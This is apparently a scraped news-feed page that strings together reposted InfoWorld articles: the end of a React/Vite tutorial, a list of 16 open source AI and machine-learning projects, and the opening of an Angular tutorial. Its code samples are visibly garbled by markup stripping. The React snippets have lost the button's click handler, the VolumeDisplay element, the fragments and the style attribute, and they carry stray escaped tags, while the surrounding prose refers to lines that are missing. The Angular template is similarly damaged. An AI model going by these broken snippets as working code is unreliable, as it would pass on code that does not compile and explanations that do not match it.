<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image3.png?w=1024" alt="A screenshot of the Vite CLI showing the option to select React." class="wp-image-4116905" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Use your own preferences for the other options (like using <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> versus JavaScript) and accept the option to install and launch the app immediately. Afterward, you’ll see a simple demo like this one:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image4.png?w=1024" alt="A screenshot showing the Vite demo app built with React." class="wp-image-4116907" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">The demo app has a counter component like the one we built earlier. If you Ctrl-c (or Cmd-c) to kill the Vite process running in the terminal, you can <code>cd</code> into the new directory. From there, you can see where the counter component is defined, in <code>src/App.jsx</code> (or <code>App.tsx</code> if you have selected TypeScript like I have).</p>



<p class="wp-block-paragraph">It’s worth looking at that file to see how React appears on the server:</p>



<pre class="wp-block-code"><code>src/App.tsx
import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      <div>
        <a href="https://vite.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BviteLogo%7D" alt="Vite logo">
        </a>
        <a href="https://react.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BreactLogo%7D" alt="React logo">
        </a>
      </div>
      <h1>Vite + React</h1>
      <div>
        <button> setCount((count) =&gt; count + 1)}&gt;
          count is {count}
        </button>
        <p>
          Edit <code>src/App.tsx</code> and save to test HMR
        </p>
      </div>
      <p>
        Click on the Vite and React logos to learn more
      </p>
    &gt;
  )
}

export default App&lt;/code&gt;</code></pre>



<p class="wp-block-paragraph">Notice we export the App as a module, which is used by the <code>src/main.tsx</code> file to display the component in the view. That file creates the bridge between the respective worlds of React and HTML:</p>



<pre class="wp-block-code"><code>import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  
    
  ,
)</code></pre>



<p class="wp-block-paragraph">Don’t worry too much about the details of how React bootstraps itself with <code>createRoot</code> and the <code>render</code> call (which you won’t have to interact with on a regular basis). The important thing is how the <code>App</code> component is imported and then used with the JSX.</p>



<p class="wp-block-paragraph"><strong>Note</strong></p>



<p class="wp-block-paragraph"><a href="https://react.dev/reference/react/StrictMode">Strict mode</a> adds warning during dev mode to help you catch component bugs early.</p>



<p class="wp-block-paragraph">There are a few rules to bear in mind when using JSX, the templating language of React:</p>



<ul class="wp-block-list">
<li>HTML elements are lowercase (<code><div>, <code></code>), but components are uppercase (<code></code>, <code></code>).



<li>You can’t just type “class” in JSX; instead, use <code>className</code>; e.g., <code><div>.



<li>To access the realm of JavaScript (and the application state) from within JSX, use curly braces: <code>{2 + 2 != 5}</code>.</li>




<h2 class="wp-block-heading">React components and props</h2>



<p class="wp-block-paragraph">The main organizational concept in React is the <em>component</em>. Components are used to contain the functionality for a part of the view within a self-contained package. We’ve seen a component in action already with <code></code> but it might be a little obscure, so let’s add another simple component to enhance the demonstration. This component also lets us explore another key part of React: Props.</p>



<p class="wp-block-paragraph">To start, let’s create a display of the counter value influenced by the Rob Reiner movie <em>This Is Spinal Tap</em>. To start, we create a new file at <code>src/VolumeDisplay.jsx</code>:</p>



<pre class="wp-block-code"><code>// src/VolumeDisplay.jsx

export function VolumeDisplay({ level }) {
  return (
    <div>
      {/* The Dial */}
      <div>= 11 ? '#d32f2f' : '#f0f0f0',
        color: level &gt;= 11 ? 'white' : 'black',
        transition: 'all 0.2s ease'
      }}&gt;
        {level}
      </div>

      {/* The Message */}
      {level &gt;= 11 &amp;&amp; (
        <p>
          "These go to eleven." 🤘
        </p>
      )}
    </div>
  );
}</code></pre>



<p class="wp-block-paragraph">This is a simple display but there are a couple of things worth noting about it.</p>



<p class="wp-block-paragraph">One is that we accept a prop (a property) “from above” with <code>VolumeDisplay({ level })</code>. This tells whatever parent component uses this one that <code>VolumeDisplay</code> accepts a single property, called <code>level</code>. <code>VolumeDisplay</code> uses the property by displaying it (though it adds a bit of fancying up using conditional logic like we have already seen).</p>



<p class="wp-block-paragraph">The way we define the CSS values, inside the double braces, <code>{{ }}</code>, and as a map of value is idiomatic React. (It isn’t essential at this point to grasp why it works that way, but basically, it is the JSX token <code>{ }</code> with a JavaScript map of CSS values using JavaScript-friendly camel-cased names, like <code>justifyContent</code>.)</p>



<p class="wp-block-paragraph">Now, to utilize this component, we can go to <code>App.jsx</code>, and make two changes:</p>



<pre class="wp-block-code"><code>import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'
// 1. Import our new component
import { VolumeDisplay } from './VolumeDisplay'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      <div>
        <a href="https://vite.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BviteLogo%7D" alt="Vite logo">
        </a>
        <a href="https://react.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BreactLogo%7D" alt="React logo">
        </a>
      </div>
      <h1>Vite + React</h1>
      <div>
        <button> setCount((count) =&gt; count + 1)}&gt;
          count is {count}
        </button>
        {/* 2. Pass the 'count' state into the 'level' prop */}
      
        <p>
          Edit <code>src/App.tsx</code> and save to test HMR
        </p>
      </div>
      <p>
        Click on the Vite and React logos to learn more
      </p>
    &gt;
  )
}

export default App&lt;/code&gt;</code></pre>



<p class="wp-block-paragraph">Here, we’ve done two things: imported the new component and used it in the view.</p>



<p class="wp-block-paragraph">Notice, also, that the <code></code> line passes the existing count state variable into <code>VolumeDisplay</code> as a prop. React will do the work of ensuring that whenever count changes, the <code>VolumeDisplay</code> will also be updated, including any dependent logic such as the conditional statements.</p>



<p class="wp-block-paragraph">Now, if we run the code like so:</p>



<pre class="wp-block-code"><code>$ npm run dev</code></pre>



<p class="wp-block-paragraph">We get what you see in the screenshot below:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image5.png?w=1024" alt="A screenshot of the running demo app built with Vite and React." class="wp-image-4116908" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The world is now your oyster, at least within the realm of JavaScript web development. Not only is React wildly popular, its basic ideas are applicable to a host of other innovative frameworks, including <a href="https://www.infoworld.com/article/2265950/hands-on-with-svelte.html">Svelte</a> and <a href="https://www.infoworld.com/article/2271109/hands-on-with-the-solid-javascript-framework.html">Solid</a>. (To get some idea of the alternatives, just type <code>npm create vite@latest</code> and look at all the available technologies.) Now that you have a basic introduction, a good next step for learning would be to add an <code></code> control that allows typing in the volume manually. Happy coding!</p>
</div></code></li></div></code></li></ul></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[16 open source projects transforming AI and machine learning]]></title>
<description><![CDATA[For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and large language models. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to...]]></description>
<link>https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a>. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to complement the open source code.</p>



<p class="wp-block-paragraph">For this article, we’ve pulled together some of the most intriguing and useful projects for <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI and machine learning</a>. Many of these are foundation projects, nurturing their own niche ecology of open source plugins and extensions. Once you’ve started with the basic project, you can keep adding more parts.</p>



<p class="wp-block-paragraph">Most of these projects offer demonstration code, so you can start up a running version that already tackles a basic task. Additionally, the companies that build and maintain these projects often sell a service alongside them. In some cases, they’ll deploy the code for you and save you the hassle of keeping it running. In others, they’ll sell custom add-ons and modifications. The code itself is still open, so there’s no vendor lock in. The services simply make it easier to adopt the code by paying someone to help.</p>



<p class="wp-block-paragraph">Here are 16 open source projects that developers can use to unlock the potential in machine learning and large language models of any size—from small to large, and even extra large.</p>



<h2 class="wp-block-heading">Agent Skills</h2>



<p class="wp-block-paragraph">AI coding agents are often used to tackle standard tasks like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">writing React components</a> or <a href="https://www.infoworld.com/article/4025088/how-coderabbit-brings-ai-to-code-reviews.html">reviewing parts of the user interface</a>. If you are writing a coding agent, it makes sense to use vetted solutions that are focused on the task at hand. <a href="https://github.com/vercel-labs/agent-skills">Agent Skills</a> are pre-coded tools that your AI can deploy as needed. The result is a focused set of vetted operations capable of producing refined, useful code that stays within standard guidelines. License: MIT.</p>



<h2 class="wp-block-heading">Awesome LLM Apps</h2>



<p class="wp-block-paragraph">If you are looking for good examples of agentic coding, see the <a href="https://github.com/Shubhamsaboo/awesome-llm-apps">Awesome LLM Apps collection</a>. Currently, the project hosts several dozen applications that leverage some combination of <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">RAG databases</a> and LLMs. Some are simple, like a meme generator, while others handle deeper research like the Journalist agent. The most complex examples deploy multi-agent teams to converge upon an answer. Every application comes with working examples for experimentation, so you can learn from what’s been successful in the past. Altogether, the apps in this collection are great inspiration for your own projects. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Bifrost</h2>



<p class="wp-block-paragraph">If your application requires access to an LLM service, and you don’t have a particular one in mind, check out <a href="https://github.com/maximhq/bifrost">Bifrost</a>. A fast, unified gateway to more than 15 LLM providers, this OpenAI-compatible API quickly abstracts away the differences between models, including all the major ones. It includes essential features like governance, caching, budget management, load balancing, and it has guardrails to catch problems before they are sent out to service providers, who will just bill you for the time. With dozens of great LLM providers constantly announcing new and better models, why limit yourself? License: Apache 2.0.</p>



<h2 class="wp-block-heading">Claude Code</h2>



<p class="wp-block-paragraph">If the popularity of AI coding assistants tells us anything, it’s that all developers—and not just the ones building AI apps—appreciate a little help writing and reviewing their code. <a href="https://github.com/anthropics/claude-code">Claude Code</a> is that pair programmer. Trained on all the major programming languages, <a href="https://www.infoworld.com/article/3853805/vibe-coding-with-claude-code.html">Claude Code can help you write code that is better, faster, and cleaner</a>. It digests a codebase and then starts doing your bidding, while also making useful suggestions. Natural language commands plus some vague hand waving are all the Anthropic LLM needs to refactor, document, or even add new features to your existing code. License: Anthropic’s Commercial TOS.</p>



<h2 class="wp-block-heading">Clawdbot</h2>



<p class="wp-block-paragraph">Many of the tools in this list help developers create code for other people. <a href="https://github.com/clawdbot/clawdbot?tab=readme-ov-file">Clawdbot</a> is the AI assistant for you, the person writing the code. It integrates with your desktop to control built-in tools like the camera and large applications like the browser. A multi-channel inbox accepts your commands through more than a dozen different communication channels including WhatsApp, Telegram, Slack, and Discord. A cron job adds timing. It’s the ultimate assistant for you, the ruler of your data. If AI exists to make our lives easier, why not start by organizing the applications on your desktop? License: MIT.</p>



<h2 class="wp-block-heading">Dify</h2>



<p class="wp-block-paragraph">For projects that require more than just one call to an LLM, <a href="https://github.com/langgenius/dify">Dify</a> could be the solution you’ve been looking for. Essentially a development environment for building complex agentic workflows, Dify stitches together LLMs, RAG databases, and other sources. It then monitors how they perform under different prompts and parameters and puts it all together in a handy dashboard, so you can iterate on the results. Developing agentic AI requires rapid experimentation, and Dify provides the environment for those experiments. License: Modified version of Apache 2.0 to exclude some commercial uses.</p>



<h2 class="wp-block-heading">Eigent</h2>



<p class="wp-block-paragraph">The best way to explore the power and limitations of an agentic workflow is to deploy it yourself on your own machine, where it can solve your own problems. Eigent delivers a workforce of specialized agents for handling tasks like writing code, searching the web, and creating documents. You just wave your hands and issue instructions, and Eigent’s LLMs do their best to follow through. Many startups brag about eating their own dogfood. Eigent puts that concept on a platter, making it easy for AI developers to experience directly the abilities and failings of the LLMs they’re building. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Headroom</h2>



<p class="wp-block-paragraph">Programmers often think like packrats. If the data is good, why not pack in some more? This is a challenge for code that uses an LLM because these services charge by the token, and they also have a limited context window. <a href="https://github.com/chopratejas/headroom">Headroom</a> tackles this issue with agile compression algorithms that trim away the excess, especially the extra labels and punctuation found in common formats like JSON. A big part of designing working AI applications is cost engineering, and saving tokens means saving money. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Hugging Face Transformers</h2>



<p class="wp-block-paragraph">When it comes to starting up a brand-new machine learning project, <a href="https://github.com/huggingface/transformers">Hugging Face Transformers</a> is one of the best foundations available. Transformers offers a standard format for defining how the model interacts with the world, which makes it easy to drop a new model into your working infrastructure for training or deployment. This means your model will interact nicely with all the already available tools and infrastructure, whether for text, vision, audio, video, or all of the above. Fitting into a standard paradigm makes it much easier to leverage your existing tools while focusing on the cutting edge of your research. License: Apache 2.0.</p>



<h2 class="wp-block-heading">LangChain</h2>



<p class="wp-block-paragraph">For agentic AI solutions that require endless iteration, <a href="https://github.com/langchain-ai/langchain">LangChain</a> is a way to organize the effort. It harnesses the work of a large collection of models and makes it easier for humans to inspect and curate the answers. When the task requires deeper thinking and planning, LangChain makes it easy to work with agents that can leverage multiple models to converge upon a solution. LangChain’s architecture includes a framework (LangGraph) for organizing easily customizable workflows with long-term memory, and a tool (LangSmith) for evaluating and improving performance. Its Deep Agents library provides teams of sub-agents, which organize problems into subsets then plan and work toward solutions. It is a proven, flexible test bed for agentic experimentation and production deployment. License: MIT.</p>



<h2 class="wp-block-heading">LlamaIndex</h2>



<p class="wp-block-paragraph">Many of the early applications for LLMs are sorting through large collections of semi-structured data and providing users with useful answers to their questions. One of the fastest ways to customize a standard LLM with private data is to use <a href="https://github.com/run-llama/llama_index">LlamaIndex</a> to ingest and index the data. This off-the-shelf tool provides data connectors that you can use to unpack and organize a large collection of documents, tables, and other data, often with just a few lines of code. The layers underneath can be tweaked or extended as the job requires, and LlamaIndex works with many of the data formats common in enterprises. License: MIT.</p>



<h2 class="wp-block-heading">Ollama</h2>



<p class="wp-block-paragraph">For anyone experimenting with LLMs on their laptop, <a href="https://github.com/ollama/ollama">Ollama</a> is one of the simplest ways to <a href="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html" data-type="link" data-id="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html">download one or more of them and get started</a>. Once it’s installed, your command line becomes a small version of the classic ChatGPT interface, but with the ability to pull a huge collection of models from a growing library of open source options. Just enter: <code>ollama run </code> and the model is ready to go. Some developers are using it as a back-end server for LLM results. The tool provides a stable, trustworthy interface to LLMs, something that once required quite a bit of engineering and fussing. The server simplifies all this work so you can tackle higher level chores with many of the <a href="https://ollama.com/library">most popular open source LLMs</a> at your fingertips. License: MIT.</p>



<h2 class="wp-block-heading">OpenWebUI</h2>



<p class="wp-block-paragraph">One of the fastest ways to put up a website with a chat interface and a dedicated RAG database is to spin up an instance of <a href="https://github.com/open-webui/open-webui">OpenWebUI</a>. This project knits together a feature-rich front end with an open back end, so that starting up a customizable chat interface only requires pulling a few <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker containers</a>. The project, though, is just a beginning, because it offers the opportunity to add plugins and extensions to enhance the data at each stage. Practically every part of the chain from prompt to answer can be tweaked, replaced, or improved. While some teams might be happy to set it up and be done, the advantages come from adding your own code. The project isn’t just open source itself, but a constellation of hundreds of little bits of contributed code and ancillary projects that can be very helpful. Being able to customize the pipeline and leverage the <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP protocol</a> supports the delivery of precision solutions. License: Modified BSD designed to restrict removing OpenWebUI branding without an enterprise license.</p>



<h2 class="wp-block-heading">Sim</h2>



<p class="wp-block-paragraph">The drag-and-drop canvas for <a href="https://github.com/simstudioai/sim">Sim</a> is meant to make it easier to experiment with <a href="https://www.infoworld.com/article/4086884/how-to-automate-the-testing-of-ai-agents.html">agentic workflows</a>. The tool handles the details of interacting with the various LLMs and vector databases; you just decide how to fit them together. Interfaces like Sim make the agentic experience accessible to everyone on your team, even those who don’t know how to write code. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Sloth</h2>



<p class="wp-block-paragraph">One of the most straightforward ways to leverage the power of foundational LLMs is to start with an open source model and fine-tune it with your own data. <a href="https://github.com/unslothai/unsloth">Unsloth</a> does this, often faster than other solutions do. Most major open source models can be transformed with reinforcement learning. Unsloth is designed to work with most of the standard precisions and some of the largest context windows. The best answers won’t always come directly from RAG databases. Sometimes, adjusting the models is the best solution. License: Apache 2.0.</p>



<h2 class="wp-block-heading">vLLM</h2>



<p class="wp-block-paragraph">One of the best ways to turn an LLM into a useful service for the rest of your code is to start it up with <a href="https://github.com/vllm-project/vllm">vLLM</a>. The tool loads many of the available open source models from repositories like Hugging Face and then orchestrates the data flows so they keep running. That means batching the incoming prompts and managing the pipelines so the model will be a continual source of fast answers. It supports not just the CUDA architecture but also AMD CPUs and GPUs, Intel CPUs and GPUs, PowerPC CPUs, Arm CPUs, and TPUs. It’s one thing to experiment with lots of models on a laptop. It’s something else entirely to deploy the model in a production environment. vLLM handles many of the endless chores that deliver better performance. License: Apache-2.0.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get started with Angular: Introducing the modern reactive workflow]]></title>
<description><![CDATA[Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to...]]></description>
<link>https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Angular is a cohesive, all-in-one <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">reactive framework</a> for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, many of those issues <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">were addressed in Angular 19</a>. Modern Angular is built around the <a href="https://blog.angular-university.io/angular-signals">Signals API</a> and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.</p>



<p class="wp-block-paragraph">Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more <a href="https://www.infoworld.com/article/3802707/angular-team-unveils-strategy-for-2025.html">community engaged development philosophy</a>. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.</p>



<h2 class="wp-block-heading">Why choose Angular?</h2>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">Choosing a JavaScript development framework</a> sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.</p>



<p class="wp-block-paragraph">Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a <a href="https://www.infoworld.com/article/3831686/plug-and-play-web-development-with-astro-js.html">meta-framework</a> for either style of development.</p>



<p class="wp-block-paragraph">While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Catching up with Angular 19</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Angular</h2>



<p class="wp-block-paragraph">With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:</p>



<pre class="wp-block-code"><code>$ node -v
$ npm -v</code></pre>



<p class="wp-block-paragraph">Next, you can use the Angular CLI to launch a new app:</p>



<pre class="wp-block-code"><code>$ ng new iw-ng</code></pre>



<p class="wp-block-paragraph">You can use the defaults in your responses to the interactive prompts shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular1.png?w=1024" alt="A screenshot of a new project setup in the Angular command-line interface." class="wp-image-4123771" width="1024" height="413" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">We now have a basic project layout in the new directory, which you can import into an IDE (such as <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html" data-type="link" data-id="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a>) or edit directly.</p>



<p class="wp-block-paragraph">Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:</p>



<ul class="wp-block-list">
<li><code>src/main.ts</code>: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.</li>



<li><code>src/index.html</code>: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the  tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.</li>



<li><code>src/app/app.ts</code>: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the <code></code> root element that appears in <code>src/index.html</code>.)</li>



<li><code>src/app/app.config.ts</code>: This file is new in modern Angular and replaces the old A<code>ppModule providers</code> array. It is where you configure global services, like the router or HTTP client.</li>



<li><code>angular.json</code>: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.</li>
</ul>



<p class="wp-block-paragraph">Here is the basic flow of how the engine renders these components:</p>



<ol start="1" class="wp-block-list">
<li><strong>The arrival (HTML)</strong>: The browser receives <code>index.html</code>. The <code></code> tag is there, but it’s empty.</li>



<li><strong>The unpacking (JavaScript)</strong>: The browser sees the <code></code> tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from <code>src/app/app.ts</code>.</li>



<li><strong>The assembly (Bootstrap)</strong>: The browser runs that JavaScript. The code “wakes up,” finds the <code></code> tag in the DOM, and dynamically inserts your title, buttons, and lists.</li>
</ol>



<p class="wp-block-paragraph">This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.</p>



<h2 class="wp-block-heading">Developing your first web app in Angular</h2>



<p class="wp-block-paragraph">If you open <code>src/app/app.ts</code> (more info <a href="http://app.ts/">here</a>) the component definition looks like this:</p>



<pre class="wp-block-code"><code>import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}</code></pre>



<p class="wp-block-paragraph">Before we dissect the code, let’s run the app and see what it produces:</p>



<pre class="wp-block-code"><code>$ ng serve</code></pre>



<p class="wp-block-paragraph">You should see a page like this one at <code>localhost:4200</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular2.png?w=1024" alt="A screenshot of a Hello, World! app built with Angular." class="wp-image-4123772" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Returning to the <code>src/app.ts</code> component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.</p>



<h3 class="wp-block-heading">The class (export class App)</h3>



<p class="wp-block-paragraph">Export class <code>App</code> is vanilla TypeScript that holds your component’s data and logic. In our example, <code>title = signal(‘iw-ng’)</code> defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a <a href="https://www.solidjs.com/tutorial/introduction_signals">signal</a>. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.</p>



<h3 class="wp-block-heading">The metadata (@Component)</h3>



<p class="wp-block-paragraph">The <code>@Component</code> decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:</p>



<ul class="wp-block-list">
<li><code>selector: 'app-root'</code>: Defines the custom HTML tag associated with any given component. Angular finds <code></code> in your <code>index.html</code> and renders the component there.</li>



<li><code>imports</code>: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like <code>RouterOutlet</code> or other components) here, rather than hiding them in a separate module file.</li>



<li><code>templateUrl</code>: Points to the external HTML file that defines the view.</li>
</ul>



<h3 class="wp-block-heading">The view (the template)</h3>



<p class="wp-block-paragraph">This is the visual part of the component, defined in <code>app.html</code>. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)</p>



<p class="wp-block-paragraph">We can modify <code>src/app/app.html</code> to see how these three elements work together. To start, delete the default content and add the following:</p>



<pre class="wp-block-code"><code><h1>Hello, {{ title() }}</h1>
</code></pre>



<p class="wp-block-paragraph">The double curly braces <code>{{ }}</code> are called <a href="https://angular.dev/guide/templates/binding">interpolation</a>. Notice the parentheses in <code>title()</code>. We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., <code>this.title.set('New Value')</code>), the text on the screen would update instantly.</p>



<h2 class="wp-block-heading">Angular’s built-in control flow</h2>



<p class="wp-block-paragraph">Old-school Angular required “structural directives” like <code>*ngIf</code> and <code>*ngFor</code> logic control. These were powerful but required importing <code>CommonModule</code> and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).</p>



<p class="wp-block-paragraph">To see the new control flow in action, let’s add a list to our component. Update <code>src/app/app.ts</code> as follows, leaving the rest of the file the same:</p>



<pre class="wp-block-code"><code>export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">While we’re at it, let’s also update <code>src/app/app.html</code> to render this new list (don’t worry about <code></code> for now; it just tells Angular where to render the framing template):</p>



<pre class="wp-block-code"><code><button>Toggle List</button>

@if (showList()) {
  <ul>
    @for (tech of frameworks(); track tech) {
      <li>{{ tech }}</li>
    }
  </ul>
} @else {
  <p>List is hidden</p>
}

</code></pre>



<p class="wp-block-paragraph">The app will now display a list that can be toggled for visibility:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular3.png?w=1024" alt="Screenshot of a list that can be toggled on and off for visibility." class="wp-image-4123773" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">This syntax is cleaner and easier to read than the old <code>*ngFor</code> loops:</p>



<ul class="wp-block-list">
<li><code>@if</code> conditionally renders the block if the signal’s value is true.</li>



<li><code>@for</code> iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).</li>



<li><code>(click)</code> is an <a href="https://angular.dev/guide/templates/event-listeners">event binding</a>. It lets us run code (the <code>toggleList</code> method) when the user interacts with the button.</li>
</ul>



<h2 class="wp-block-heading">Services: Managing business logic in Angular</h2>



<p class="wp-block-paragraph">Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.</p>



